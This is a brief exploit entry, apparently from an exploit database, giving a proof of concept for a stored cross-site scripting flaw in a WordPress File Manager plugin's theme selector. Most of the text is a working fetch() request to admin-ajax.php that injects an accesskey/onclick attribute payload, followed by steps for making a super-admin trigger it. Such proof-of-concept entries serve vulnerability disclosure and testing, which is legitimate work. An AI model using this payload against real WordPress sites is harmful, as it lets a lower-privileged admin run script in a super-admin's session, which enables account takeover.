## https://sploitus.com/exploit?id=WPEX-ID:81821BF5-69E1-4005-B3EB-D541490909CC
As an admin, open the File Manager and run the following JS code:
fetch("http://localhost:10008/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded; charset=UTF-8",
},
"body": "action=selector_themes&themesValue=dark-slim\"+accesskey=X+onclick=alert(/XSS/)+\"&nonce=" + wpData.nonce,
"method": "POST",
"mode": "cors",
"credentials": "include"
});
As a super-admin, open the File Manager and press the Access Key combination (Firefox for Windows/Linux the key combination is ALT+SHIFT+X and on OS X it is CTRL+ALT+X) to trigger the XSS.